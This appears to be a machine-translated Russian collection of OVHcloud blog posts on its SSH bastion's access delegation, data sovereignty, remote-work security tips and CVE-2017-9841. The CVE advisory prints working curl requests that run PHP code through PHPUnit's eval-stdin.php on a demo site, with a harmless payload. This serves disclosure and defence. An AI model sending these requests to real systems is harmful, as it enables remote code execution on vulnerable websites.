Бастион OVHcloud SSH - Часть 2: головокружение от делегирования

OVH Blog News

Это вторая часть серии блогов, вот и первая. Ранее мы обнаружили, что бастион не является вашим обычным хостом перехода SSH (на самом деле, мы обнаружили, что это вообще не хост прыжка), и мы обсудили, как делегирование было одной из основных функций, которые нам изначально нужны. Итак, давайте погрузимся в эти концепции. На бастионе есть две совместимые модели доступа: персональный и групповой.

Личный доступ — кусок торта

На бастионе каждая учетная запись имеет (как минимум) один набор личных выходных ключей . Эти звери генерируются при первом создании учетной записи. Личный выходной закрытый ключ находится в домашней учетной записи бастиона. У пользователя учетной записи нет возможности увидеть его или экспортировать из бастиона, но он может использовать его через логику кода бастиона. Пользователь может получить соответствующий открытый ключ в любое время и установить его — или получить его — на удаленных серверах, к которым он должен получить доступ. В зависимости от вашего варианта использования и уровня автономии, который вы хотите предоставить командам, есть два способа управления этим личным доступом.

Угощайтесь

Первый способ имитирует управление доступом, если бы вы вообще не использовали бастион SSH. Это идеальный способ обработки доступа на простом уровне без слишком большого количества пользователей и ограниченного количества машин. Это позволяет каждому предоставить себе личный доступ на бастион, не прося об этом кого-то другого. Звучит как дыра в безопасности, но это не так. Если кто-то добавит себе личный доступ к удаленному серверу, он будет работать, только если его личный выходной открытый ключ ужебыл установлен на удаленном сервере. Другими словами, либо у него уже был доступ к удаленному серверу для этого — используя средства, отличные от бастиона, — либо кто-то, у кого был доступ к удаленному серверу, принял добавление своего ключа. В любом случае, он не может волшебным образом предоставить себе персональный доступ без разрешения администратора удаленного сервера его ключа.

Спросите ИТ-специалистов

Другой способ справиться с этим может заключаться в предоставлении ограниченному количеству людей, например службам безопасности, права добавлять личные доступы для других. Таким образом, люди становятся менее автономными, но это может быть полезно, если добавление доступа должно осуществляться через нормализованные процессы. Он также имеет несколько приятных эффектов: как системный администратор, вы можете создать 3 отдельные учетные записи на удаленном компьютере и сопоставить их с каждой добавляемой учетной записью бастиона. Это хороший метод для достижения сквозного отслеживания ; в том числе на удаленном сервере; где вы, возможно, захотите установить auditd или аналогичные инструменты. Это также можно сделать в режиме помощи себе , но это может быть сложнее принудительно.
Чтобы было ясно, эта модель доступа не так эффективно масштабируется, когда мы имеем дело с целыми командами или крупными инфраструктурами — вот где групповой доступ пригодится.

Групповой доступ — Let's Rock

Группа состоит из трех компонентов:

Список участников (аккаунты, представляющие отдельных людей)
По крайней мере, один набор групповых выходных ключей
Список серверов (фактически IP)

Список серверов

Список серверов на самом деле представляет собой список IP-адресов или IP-блоков. Они сопоставляются с вашими серверами, сетевыми устройствами или чем-либо еще с поддержкой SSH, у которого есть IP (на котором был установлен ключ исходящей группы). Технически этот список фактически состоит из трех элементов: удаленный пользователь , удаленный IP (или блок IP), удаленный порт . То, что применяется к персональному доступу, также применимо и здесь: добавление сервера в список не дает волшебным образом доступа к нему, сначала необходимо установить открытый ключ исходящей группы. Конечно, управление установкой этих ключей вручную быстро становится непрактичным, но вы можете рассмотреть эту часть конфигурации серверов, поэтому ими следует управлять с помощью той централизованной системы конфигурации, которую вы уже используете (Puppet, Chef, Ansible, / bin / cp… подожди, нет, ударил последний ).

Список участников

Члены — это люди, которые могут подключаться к любому серверу, указанному в списке серверов группы. Они будут использовать закрытый ключ исходящей группы , к которому у них есть доступ, как члены указанной группы. Конечно, у них нет возможности извлечь этот закрытый ключ для собственного использования за пределами бастиона, они могут использовать его только через логику кода бастиона.

У вас новый член команды? Просто добавьте их в свою группу, и они мгновенно получат доступ ко всем серверам группы. Кто-нибудь уходит из компании? Просто удалите там аккаунт на бастионе, и все доступы мгновенно пропадут. Это так, потому что все ваши серверы должны иметь входящие сеансы SSH, ограниченные вашими бастионами. Таким образом, любой мошеннический ключ SSH, который был бы добавлен, больше не используется.

И еще немного

Мы рассмотрели основы группового подхода, но, поскольку нам нужна большая гибкость и делегирование, есть еще кое-что. Помните, я сказал, что в группе 3 компонента? Я соврал. В группе больше, чем просто участники. Дополнительные групповые роли включают:

Гости
Привратники
Aclkeepers
Владельцы

Все это списки учетных записей, играющих определенную роль в группе.

Во-первых, гости . Они немного похожи на участников , но с меньшими привилегиями: они могут подключаться к удаленным машинам с помощью ключа группы, но не ко всем машинам группы, а только к подмножеству. Это полезно, когда кому-то за пределами группы нужен конкретный доступ к определенному серверу, потенциально на ограниченный период времени (поскольку для таких доступов может быть установлен срок действия).

Затем привратники . Эти ребята ведут список участников и гостей группы. Другими словами, они имеют право давать право доступа . Здесь нет ничего сложного. Затем есть помощники . Как вы уже догадались, они управляют списком серверов, входящих в группу. Если у вас есть автоматизация управления предоставлением серверов вашей инфраструктуры, эта роль может быть предоставлена учетной записи робота, единственной целью которой будет обновление списка серверов на бастионе полностью интегрированным способом с вашей подготовкой. Вы даже можете пометить такие учетные записи, чтобы они никогда не смогли использовать SSH через бастион, даже если кто-то предоставит их по ошибке!

И последнее, но не менее важное: владельцы имеют наивысший уровень привилегий в группе, что означает, что они могут управлять привратниками, хранителями учетных записей и списком владельцев. Им разрешено давать право давать право доступа. Более того, пользователи могут накапливать эти роли, что означает, что некоторые учетные записи могут быть, например, участником и привратником одновременно.

Глобальные роли — Приходите получить

Помимо только что описанных ролей, которые относятся к группе, существуют две дополнительные роли, охватывающие весь бастион: «супервладелец» и «администратор бастиона».

Короче говоря, супервладелец — это неявный владелец всех групп, присутствующих на бастионе. Это удобно, если группа становится бесхозной, поскольку супервладельцы могут назначить нового владельца. Смотри, куда я иду? Супервладельцам разрешено давать право давать право давать право доступа.

Головокружение еще не закончилось? Теперь о самой влиятельной роли: админке бастиона . Эта роль должна быть предоставлена только нескольким лицам, поскольку они могут выдавать себя за кого угодно (даже если, конечно, когда они это делают, это регистрируется и заставляет наш SIEM покраснеть), и на практике не следует отдавать никому, кто еще не получил root-права в самой операционной системе бастиона. Помимо прочего, они управляют конфигурацией бастиона, где объявлены супервладельцы. Задержи дыхание. Готов? Им разрешено давать право давать право давать право давать право доступа. Вот почему делегирование лежит в основе системы: у каждого есть свой набор обязанностей и возможные действия, без необходимости спрашивать администратора бастиона.

Подведение итогов

Все концепции управления доступом, о которых мы говорили, сопоставлены с реальными командами. Их можно запустить на бастионе после аутентификации пользователя (известное входящее соединение). На бастионном жаргоне они называются командами osh. В этом случае нет исходящих соединений, так как эти команды взаимодействуют с самим бастионом:

Как вы могли заметить на скриншоте выше, версия программного обеспечения Bastion очень близка к 3.00.00 ! Может быть, приближается интересная веха?

В следующей части этой серии блогов мы углубимся в некоторые детали реализации одного из этих плагинов osh , а точнее, в наш подход к программированию безопасности и защиты.

Бастион OVHcloud - Часть 1

OVH Blog News

Бастион? Мы говорим об инди-игре?

Не в этот раз! (хоть и хорошая игра!).

В OVHcloud изрядное количество инфраструктур построено на базе Linux. У нас много разных вкусов; таких как Debian, Ubuntu, Red Hat… и этот список можно продолжить. Однажды у нас даже был старый добрый Gentoos! Все они хранятся на голых серверах, на виртуальных машинах и повсюду в контейнерах. Если у него есть ЦП (или виртуальный ЦП), мы, вероятно, загрузили на него какой-то дистрибутив Linux. Но это еще не все. У нас также были коробки Solaris, которые позже превратились в коробки OmniOS, которые теперь превратились в блестящие коробки FreeBSD. У нас также есть много сетевых устройств, разбитых по разным конструкторам, охватывающих широкий диапазон поколений моделей.

Как вы, наверное, догадались, у нас есть разнородные системы, которые предоставляют несколько различных услуг. Но, несмотря на эту неоднородность, знаете ли вы, что у всех них общего? Да, все ping, но есть кое-что поинтереснее: ими можно управлять ssh.

Эта проблема

SSH был де-факто стандартом администратора в течение некоторого времени, заменяя устаревшие программы, такие как rlogin, которые с радостью передавали ваш пароль в виде открытого текста по сети, поэтому мы используем его постоянно, как и большинство компаний отрасли.

Есть два обычных способа его использования: либо вы просто вводите пароль своей учетной записи, когда удаленный сервер запрашивает его, что более или менее похоже rlogin(без передачи вашего пароля в виде открытого текста по сети); или вы используете аутентификацию с открытым ключом, генерируя так называемую «пару ключей», при этом закрытый ключ находится на вашем столе (или на смарт-карте), а соответствующий открытый ключ находится на удаленном сервере.

Проблема в том, что ни один из этих двух способов не является действительно удовлетворительным в контексте предприятия.

Парольная аутентификация

Во-первых, способ пароля. Что ж, мы все уже знаем, что пароли — отстой. Либо вы выбираете тот, который слишком легко взломать, либо вы выбираете очень сложный, который никогда не вспомните. Это заставляет вас использовать менеджер паролей, защищенный… мастер-паролем. Даже надежные парольные фразы, такие как « Correct Horse Battery Staple », в конечном итоге являются не более чем тщательно продуманным паролем. Они приносят целый ряд проблем, таких как тот факт, что они всегда подвергаются атакам грубой силы, и некоторые пользователи могут пострадать от чумы повторного использования паролей… Как системный администратор, вы никогда не спите спокойно, если знаете, что безопасность вашей системы находится всего в одном пароле. Конечно, есть способы снизить риск, такие как принудительное периодическое обновление пароля, минимальная длина и / или сложность пароля, или отключение учетной записи после нескольких сбоев и т. Д. Но вы просто возлагаете дополнительную нагрузку на своих пользователей и по-прежнему не достигается удовлетворительный уровень безопасности.

Аутентификация с открытым ключом

Во-вторых, способ pubkey. Это долгий путь к устранению проблем с паролями, но затем проблема заключается в масштабируемости. Отправить ваш открытый ключ на домашний сервер легко, но когда у вас есть десятки тысяч серверов / устройств, а также тысячи сотрудников, управляющих некоторым постоянно меняющимся подмножеством указанных серверов / устройств, это быстро усложняется. Действительно, делать это правильно и поддерживать в долгосрочной перспективе в контексте предприятия — настоящая проблема.

Аутентификация на основе PKI

Для полноты — потому что отсюда я слышу вас, гуру SSH! — в последних версиях серверов SSH есть третий способ, а именно аутентификация на основе PKI с доверенным центром сертификации (CA). Вы устанавливаете общедоступный сертификат своего ЦС на все свои серверы, и они будут принимать любое соединение, подтвержденное сертификатом, предоставленным указанным ЦС, полагаясь наsubjectNameсертификата. Это определяет, среди прочего, к какой учетной записи можно получить доступ на сервере. Это очень централизованный способ управления доступом, когда вся власть находится в руках того, кто контролирует ваш ЦС. Это может быть очень успешным, если делать это очень осторожно, с большим количеством процессов безопасности и процессов доставки сертификатов. Правильное управление центром сертификации — не шутка, и неправильное выполнение может сильно вас укусить. Это также было несколько недавним дополнением к OpenSSH, и, учитывая неоднородность, которую мы описали выше, это оставило бы множество систем на стороне. Есть еще одна причина, по которой мы не выбрали этот метод, но прежде чем погрузиться в него, давайте поговорим о наших потребностях.

Что нам нужно

В OVHcloud у нас есть различные технические группы, которые управляют своей собственной инфраструктурой, а не полагаются на общий внутренний ИТ-отдел. Этот принцип является частью корпоративной культуры и ДНК. У него есть свои недостатки; такие как дополнительная сложность в ведении исчерпывающего и актуального инвентаря наших собственных активов, но его преимущества намного перевешивают их: несколько команд могут выполнять итерацию быстрее, поскольку они могут использовать существующие продукты OVHcloud в качестве строительных блоков для создания новых инновационных продуктов. Однако это не должно происходить за счет безопасности, которая лежит в основе всего, что мы делаем в OVHcloud.

Но как нам удалось разработать системы безопасности для управления всеми этими серверами по SSH, не мешая различным рабочим группам?

Требуются несколько важных вещей:

ДЕЛЕГАЦИЯ
- Любая централизованная «группа безопасности», отвечающая за разрешение доступа для всей компании, недопустима. Он не масштабируется, как бы вы это ни делали.
- Менеджеры или технические руководители должны быть полностью автономными в управлении своим собственным периметром, с точки зрения серверов / систем / устройств, а также в отношении тех лиц, которым предоставлен доступ в пределах их периметра.
- Переход члена команды в другую команду или выход из компании должен быть полностью непрерывным, независимо от того, к каким системам у этого человека был доступ (помните о неоднородности выше?).
- Предоставление доступа новому члену команды также должно быть беспрепятственным, чтобы он мог испачкать руки как можно быстрее.
- Временное предоставление доступа кому-либо за пределами команды (или компании) к данному активу на ограниченный период времени должно быть простым.
- Все это должно быть автономным

АУДИТОРИЯ И ОТСЛЕЖИВАНИЕ
- Каждое действие необходимо регистрировать с большим количеством деталей; будь то изменение зазора или подключение к системе; будь то успех или нет. Мы также хотим, чтобы он был доступен для некоторых SIEM .
- Каждая терминальная сессия должна быть записана. Ага, вы правильно прочитали. Это та функция, которая вам никогда не понадобится… пока вы этого не сделаете.
- Создание отчетов для проверки доступа должно быть простым.

БЕЗОПАСНОСТЬ И УСТОЙЧИВОСТЬ
- Мы должны обеспечить большую безопасность, чем простой прямой доступ по SSH без дополнительных затрат.
- Любой компонент, который мы должны добавить, чтобы удовлетворить эти потребности, должен быть постоянно в рабочем состоянии, даже (и особенно), когда остальная часть вашей инфраструктуры разваливается, потому что именно тогда вам понадобится SSH.

Так по какой другой причине мы не выбрали путь PKI? Что ж, это ограничило бы автономию руководителей группы: только центр сертификации может доставлять или отзывать сертификаты, но мы хотим, чтобы эта власть находилась в руках руководителей нашей группы. С помощью PKI, если бы мы хотели дать им некоторую власть, нам пришлось бы реализовать сложную логику вокруг CA, чтобы сделать это возможным, и мы не хотели идти по этому пути.

Войдите в бастион!

Чтобы соответствовать нашим сложным требованиям, у нас есть специализированная машина, которая находится между администраторами и инфраструктурой — бастион, задача которого — обрабатывать все важные элементы, указанные выше, в дополнение к разделению этапов аутентификации и авторизации. Мы будем использовать аутентификацию с открытым ключом с обеих сторон. Давайте посмотрим на простой пример рабочего процесса подключения с использованием этого дизайна:

Администратор хочет подключиться к машине с именем server42
Он не может использовать SSH напрямую со своего корпоративного ноутбука на server42, потому что server42 защищен брандмауэром и разрешает входящие SSH-соединения только из бастионных кластеров компании
Вместо этого администратор запускает сеанс SSH с бастионом, используя на нем свою именную учетную запись. Его ноутбук согласовывает сеанс SSH, используя свой закрытый ключ. Это этап аутентификации: бастион гарантирует, что администратор, представляющий себя Джоном Админом, действительно является этим человеком, что возможно благодаря тому, что открытый ключ Джона Админа находится внутри его учетной записи-бастиона. Мы называем это * входящим * подключением.
После аутентификации Джон Админ просит бастион открыть соединение с учетной записью root на server42.
Бастион проверяет, разрешен ли Джон Админ доступ к учетной записи root на server42, это часть авторизации. Предположим, для этого примера, что Джон Админ действительно может подключаться к этому серверу, используя закрытый ключ бастиона его команды (подробнее об этом позже).
Бастион инициирует SSH-соединение с server42 от имени Джона Админа, используя закрытый ключ бастиона своей команды.
Брандмауэр server42 разрешает входящие SSH-соединения с бастиона, и соединение успешно согласовывается, поскольку открытый ключ бастиона группы администраторов John Admin установлен в учетной записи root server42. Мы называем это * исходящим * соединением.

Теперь у нас есть два установленных SSH-соединения: входящее соединение между администратором Джона и бастионом и выходное соединение между бастионом и server42.

Теперь происходит некоторая магия, и бастион «соединяет» эти два соединения вместе с помощью псевдотерминала (a pty) между ними. Джон Админ теперь считает, что он напрямую подключен к server42 и может взаимодействовать с ним, как если бы это было так.
Между тем, бастион может записывать все, что набирает Джон Админ (или, точнее, все, что * видит * Джон Админ, мы не будем записывать пароли, которые он набирает на noechoтерминалах!), Этим занимается ovh-ttyrecпрограмма.

Чтобы быть совершенно ясным, server42 не знает, кто такой Джон Админ, и ему это не нужно: мы отделили аутентификацию и авторизацию. Только бастиону необходимо знать и аутентифицировать администратора, удаленный сервер знает только бастион и доверяет ему (или, точнее, существование команды Джона Админа на бастионе). Это открывает целый ряд возможностей… но об этом в следующем посте!

Этот пост — первый из серии постов о бастионе. В следующих постах мы углубимся в часть авторизации, а именно в личные ключи и доступ, группы и все, что с ними связано. Мы также рассмотрим различные роли, существующие на бастионе, чтобы сделать его таким универсальным. Мы поговорим о некоторых вариантах дизайна и о том, как мы хотим, чтобы безопасность была в центре этого выбора — с некоторыми кровавыми техническими деталями.

Конфиденциальность и удаленная работа - не забывайте о безопасности ваших данных

OVH Blog News

Сейчас, когда меры ограничения применяются во все большем числе стран, мы действительно можем видеть, в какой степени технологии помогают нам бороться с изоляцией. Технологии — это то, что позволяет нам продолжать учиться, оставаться на связи с близкими и развлекаться. Мы даже наблюдаем появление новых способов общения, таких как электронные напитки! Это совершенно новое испытание глобальной инфраструктуры Интернета. Несмотря на то, что он наводнен потоком потокового видео и аудио, онлайн-игр, видеоконференций и онлайн-уроков, до сих пор он смог выдержать возросший спрос.

Удаленная работа стала стандартом во всем мире, как никогда раньше. В срочном порядке компаниям пришлось очень быстро развернуть новые цифровые инструменты, чтобы адаптироваться, особенно в тех случаях, когда их инфраструктуры требовали масштабирования. Было крайне важно поддерживать непрерывность бизнеса — и для этого многие компании выбрали сторонние решения, доступные в Интернете. Однако быстрый выбор иногда может нанести ущерб как цифровой безопасности, так и стратегической автономии. Несколько дней назад мы поделились некоторыми основными принципами защиты ваших данных. Теперь мы должны рассмотреть жизненно важный вопрос — какова будет цена этих тактических решений в долгосрочной перспективе?

С точки зрения защиты стратегических и конфиденциальных данных европейских компаний важно обеспечить соответствие используемой вами услуги европейским законам. Таким образом, вы можете быть уверены, что ваши данные не могут быть перехвачены и проанализированы властями за рубежом. Например, с помощью Закона об облачных технологиях американские правоохранительные органы могут получить доступ к определенным типам данных, размещенных операторами США по всему миру, и они могут делать это, даже не сообщая об этом компании. Независимо от того, где географически хранятся данные, действует закон США, если эти данные размещены игроком из США.

Например, когда речь идет об уроках математики для ваших детей, не проблема, если их учителя используют неевропейскую платформу. Но когда дело доходит до ваших стратегических данных, это важный момент, который следует учитывать. В этот период кризиса понятие суверенитета оказалось решающим — а в некоторых случаях даже жизненно важным — в области медицинских исследований, медицинского оборудования и даже для «простых» масок. То же самое и в области стратегических данных.

В дополнение к этому, кибербезопасность больше не может считаться необязательной. Мы уже наблюдаем, как хакеры атакуют наиболее уязвимые инфраструктуры — а также самые чувствительные из них, такие как ИТ-услуги в больницах, — в разгар пандемии. За последние несколько недель компании радикально изменили способ своей работы. Видеоконференцсвязь сейчас используется более широко, чем когда-либо, а удаленная работа стала нормой. Многие люди сейчас используют технические инструменты, но, читая статьи в прессе, мы обнаруживаем, что какими бы практичными ни были эти инструменты, иногда они не соответствуют правилам защиты личных данных. Некоторые даже не предлагают никакой защиты или шифрования. Видеосвязь стала настоящей уязвимостью для безопасности компании!

GDPR (Общий регламент по защите данных) дал первоначальный ответ на это в 2018 году, но сейчас, как никогда ранее, решения, принимаемые предприятиями в отношении использования их данных, остаются актуальной проблемой. Для каждого из используемых инструментов мы должны учитывать следующие моменты:

Насколько конфиденциальны данные, которые необходимо сохранить?
Какие правовые нормы применяются к нашим разговорам и обсуждениям, стратегическим встречам, финансовой отчетности, инвестиционным планам, личным данным и т. Д.?
Хотим ли мы, чтобы зарубежные власти могли читать и анализировать эти данные?

Если говорить более глобально, у Европы есть только один реальный путь к достижению стратегической и суверенной автономии с точки зрения облачной инфраструктуры. Это потребует создания экосистемы технологических игроков, основанной на европейских ценностях, гарантирующих основные права для бизнеса. OVHcloud осознает эту проблему и выступил с широкой инициативой по цифровой помощи под названием #Open_solidarity. Его цель — быстро объединить сообщество технических игроков и предоставить бесплатные решения для удаленной работы, совместной работы (образование / безопасность) и здравоохранения — с гарантией, что данные, созданные локально, обрабатываются также и локально.

Чтобы помочь им справиться с резкими скачками трафика, возникающими из-за того, что их решения бесплатно предоставляются во время кризиса, OVHcloud предоставляет участникам бесплатные инфраструктуры без каких-либо обязательств. Это также помогает повысить доступность их технологических решений.

Ряд стран призвали к действию национальные цифровые компании. Некоторые также опубликовали онлайн-список решений, которые часто можно использовать бесплатно или по сниженной цене.

Если вы тоже хотите присоединиться к этому акту цифровой солидарности, вы можете подать заявку на то, чтобы стать официальным участником, заполнив нашу онлайн-форму здесь .
Если вы ищете бесплатное решение, посетите нашу специальную платформу: https://open-solidarity.com/

Защитите себя и защитите свою ИТ-инфраструктуру

OVH Blog News

20 марта 2020 года ENISA (Агентство Европейского Союза по кибербезопасности) опубликовало статью, в которой содержится призыв к компаниям и частным лицам проявлять бдительность после попыток мошенничества, которые извлекают выгоду из кризиса здравоохранения, вызванного COVID-19. Различные организации, такие как ANSSI (Национальное агентство кибербезопасности Франции), NCSC (Национальный центр кибербезопасности) и CISA.(Агентство по кибербезопасности и безопасности инфраструктуры) предупреждают, что хакеры используют кризис COVID-19 для увеличения объема мошенничества (фишинг, мошенничество с личными данными, выдача себя за медицинские учреждения и т. Д.) И распространения вредоносных программ (вымогателей, вирусов троянских коней) ). Последние иногда приписывались экспертам в группах APT (продвинутые постоянные угрозы).

Хотя удаленная работа становится все более доступной, многие компании были потрясены продолжающимся кризисом в сфере здравоохранения, потому что им пришлось предоставить подавляющему большинству сотрудников решение для удаленной работы. Чтобы справиться с безотлагательной ситуацией, команды сделали все возможное, чтобы это стало возможным, одновременно пытаясь управлять соответствующими рисками кибербезопасности. К сожалению, в то время, когда количество кибербезопасных атак на компании стремительно растет, ИТ-менеджерам в последнее время трудно сохранять душевное спокойствие. Вот несколько действенных рекомендаций, которые можно быстро и легко выполнить, чтобы вы могли спать спокойно.

Чтобы устранить основные риски, мы основываем наши рекомендации на структуре ATT & CK, предложенной Mitre, которая ссылается на различные тактики, методы и процедуры, используемые хакерами для достижения успеха в своих попытках. Следующая матрица ATT & CK объединяет наши наблюдения и устанавливает наиболее часто используемые методы получения доступа к ИТ-системе. Мы пытаемся предложить базовые меры по снижению рисков для 9 из этих 11 методов, чтобы вы могли снизить риски. Перечисленные нами матрицы предлагаются в качестве примера для иллюстрации предложений и ни при каких обстоятельствах не исключают анализ рисков, адаптированный к вашему сектору, инфраструктуре или специализации.

Предвидеть атаки, используя полномочия

Для борьбы с этими возникающими угрозами, несомненно, важно информировать пользователей об угрозах, чтобы они были бдительны. Расширение прав и возможностей пользователей и возложение на них ответственности за счет вовлечения их в процесс обеспечения безопасности ИТ-системы — проверенный способ улучшить использование передовых методов среди сотрудников.

Долгое время ИТ-безопасность оставалась в руках экспертов, а технические принципы доступа к ИТ-системе основывались на социальной инженерии. Повышая осведомленность о рисках кибербезопасности, предоставляя сотрудникам возможность отмечать потенциальные угрозы (подозрительные электронные письма, поддельные профили в LinkedIn, получать уже открытые посылки и т. Д.) И объясняя, как эти эскалации могут способствовать общей безопасности ИТ-инфраструктуры., вы привлечете больше внимания пользователей. Чтобы расширить их участие в глобальном процессе и показать им важность роли, которую они должны играть в борьбе с угрозами безопасности, мы рекомендуем показать им процесс, демонстрирующий, насколько важны их действия.

Есть еще один метод, который хорошо зарекомендовал себя в OVHcloud в течение ряда лет — периодическая отправка сотрудникам тестовых фишинговых писем для измерения уровня их реакции на мошенничество и использование этого как возможности для повышения осведомленности о том, на что следует обращать внимание.

Конкретно, эти действия положительно влияют на большое количество потенциально действенных хакерских приемов.

Ограничение воздействия на ИТ-систему

Это универсальное правило защиты от непредвиденных обстоятельств — обеспечение строгого минимума воздействия для ИТ-систем путем настройки брандмауэра для закрытия всех несущественных открытых служб. Открытый порт — это дверь, которую хакеры могут использовать для доступа к инфраструктуре и взлома ее.

Срочность настройки политики удаленной работы побудила некоторые команды открывать службы RDP (протокол удаленного рабочего стола), SSH (Secure Shell) и SMB (обмен файлами) непосредственно в Интернете, чтобы сотрудники без VPN также могли подключаться. Между тем, пока они настраивают работающую VPN, жизненно важно ограничить доступ к этим сервисам только для сотрудников, например, путем настройки доверенных IP-адресов в брандмауэре, чтобы заблокировать любых роботов, которые могут непрерывно сканировать Интернет. Протоколы RDP и SMB по-прежнему являются наиболее уязвимыми (например, вспомните Wannacry или уязвимость BlueKeep ).

Когда VPN настроен, попросите своих пользователей установить надежные пароли и, если возможно, настроить двухфакторную аутентификацию.

Эти действия положительно влияют на:

Обнаружение необычного поведения

Просить пользователей настроить надежный пароль — это одно, но вряд ли возможно полагаться на этот базовый совет для обеспечения общей безопасности организации. Вот почему важно дополнять эти меры механизмами обнаружения.

Независимо от того, говорим ли мы о SIEM (Security Event Management), принцип один и тот же — он включает обнаружение необычной активности. И это начинается с обнаружения сильных сигналов. Пользователь входит в систему ночью или в выходные? Пользователь подключается через необычного или неавторизованного интернет-провайдера?
Вы также можете контролировать использование машин в нерабочее время, чтобы обнаружить необычно интенсивное использование ЦП, которое может указывать на зараженную машину (криптомайнинг, программы-вымогатели и т. Д.).

Вы знали?

Вы можете использовать объявления BGP через

pyasn

инструмент с открытым исходным кодом, предлагаемый Технологическим университетом Делфта, для обогащения данных IP.
Инструменты Sysmon также очень полезны для мониторинга вашей среды Windows.

Даже если он слишком реактивен, обнаружение очень важно для ограничения ущерба. В 2019 году среднее время обнаружения вторжений в мире составляло 56 дней.

Эти действия положительно влияют на:

Вывод

В заключение, рекомендации, которые мы перечислили в этом сообщении блога, позволяют снизить риск стать жертвой нескольких методов, используемых хакерами для получения доступа к вашей ИТ-системе. Напоминаем, что важно адаптировать эти действия к вашему сектору, инфраструктуре и пользователям. Но прежде всего важна защита от всех видов вирусов. Для этого вы также можете взглянуть на меры защиты, чтобы злоумышленник не двигался позже.

CVE-2017-9841: что это такое и как мы защищаем наших клиентов?

OVH Blog News

Недавно обнаруженное ранее нарушение безопасности CVE (Common Vulnerabilities and Exposures), CVE-2017-9841, снова привлекло внимание благодаря предупреждению системы безопасности PrestaShop. К сожалению, он уже некоторое время эксплуатируется «в дикой природе».

Какие риски?

CVE-2017-9841 Уязвимость позволяет злоумышленнику удаленно запускать PHP — код на несовершенных сайтов, эксплуатируя брешь в PHPUnit.

Это может позволить пользователю, например:

Доступ к конфиденциальному контенту на целевом веб-сайте (файлы, учетные данные базы данных, контент базы данных…)
Изменить содержимое файлов
Рассылать спам
Установить вредоносное ПО

Ниже вы найдете иллюстрацию того, как можно использовать эту уязвимость:

Установите уязвимую версию PHPUnit с помощью композитора

В этом примере мы предполагаем, что:

Composer уже установлен и присутствует в переменной среды PATH
DocumentRoot веб-сайта находится в $ {HOME} / www.
Доменное имя сайта demo-cve.ovh

$ composer --no-cache --working-dir=${HOME}/www require phpunit/phpunit 5.6.2
./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 26 installs, 0 updates, 0 removals
  - Installing symfony/polyfill-ctype (v1.13.1): Downloading (100%)         
  - Installing symfony/yaml (v3.4.36): Downloading (100%)         
  - Installing sebastian/version (2.0.1): Downloading (100%)         
  - Installing sebastian/resource-operations (1.0.0): Downloading (100%)         
  - Installing sebastian/recursion-context (1.0.5): Downloading (100%)         
  - Installing sebastian/object-enumerator (1.0.0): Downloading (100%)         
  - Installing sebastian/global-state (1.1.1): Downloading (100%)         
  - Installing sebastian/exporter (1.2.2): Downloading (100%)         
  - Installing sebastian/environment (2.0.0): Downloading (100%)         
  - Installing sebastian/diff (1.4.3): Downloading (100%)         
  - Installing sebastian/comparator (1.2.4): Downloading (100%)         
  - Installing doctrine/instantiator (1.3.0): Downloading (100%)         
  - Installing phpunit/php-text-template (1.2.1): Downloading (100%)         
  - Installing phpunit/phpunit-mock-objects (3.4.4): Downloading (100%)         
  - Installing phpunit/php-timer (1.0.9): Downloading (100%)         
  - Installing phpunit/php-file-iterator (1.4.5): Downloading (100%)         
  - Installing sebastian/code-unit-reverse-lookup (1.0.1): Downloading (100%)         
  - Installing phpunit/php-token-stream (2.0.2): Downloading (100%)         
  - Installing phpunit/php-code-coverage (4.0.8): Downloading (100%)         
  - Installing webmozart/assert (1.6.0): Downloading (100%)         
  - Installing phpdocumentor/reflection-common (2.0.0): Downloading (100%)         
  - Installing phpdocumentor/type-resolver (1.0.1): Downloading (100%)         
  - Installing phpdocumentor/reflection-docblock (4.3.4): Downloading (100%)         
  - Installing phpspec/prophecy (1.10.1): Downloading (100%)         
  - Installing myclabs/deep-copy (1.9.4): Downloading (100%)         
  - Installing phpunit/phpunit (5.6.2): Downloading (100%)         
symfony/yaml suggests installing symfony/console (For validating YAML files using the lint command)
sebastian/global-state suggests installing ext-uopz (*)
phpunit/php-code-coverage suggests installing ext-xdebug (^2.5.1)
phpunit/phpunit suggests installing phpunit/php-invoker (~1.1)
phpunit/phpunit suggests installing ext-xdebug (*)
Package phpunit/phpunit-mock-objects is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files

На удаленной машине мы воспользуемся уязвимостью и расшифруем текст в кодировке base64 с помощью PHP.

$ curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

Имейте в виду, что уязвимость также может быть использована другими методами HTTP, кроме POST. Например:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPUT --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XDELETE --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XOPTIONS --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPATCH --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

Как видите, эксплойт довольно простой, но очень мощный. Легко представить, какой вред может произойти.

Как уменьшить уязвимость?

Изначально нарушение было исправлено PHPUnit, когда впервые была раскрыта CVE. Однако не все поставщики CMS (например, PrestaShop) обновили версию, включенную в процесс установки.

Более того, PHPUnit не предназначен для использования на критических путях обслуживания веб-страниц. Это означает, что нет случаев использования, когда PHPUnit должен быть доступен для внешних HTTP-запросов.

Так что исправить довольно просто: нужно сделать PHPUnit недоступным.

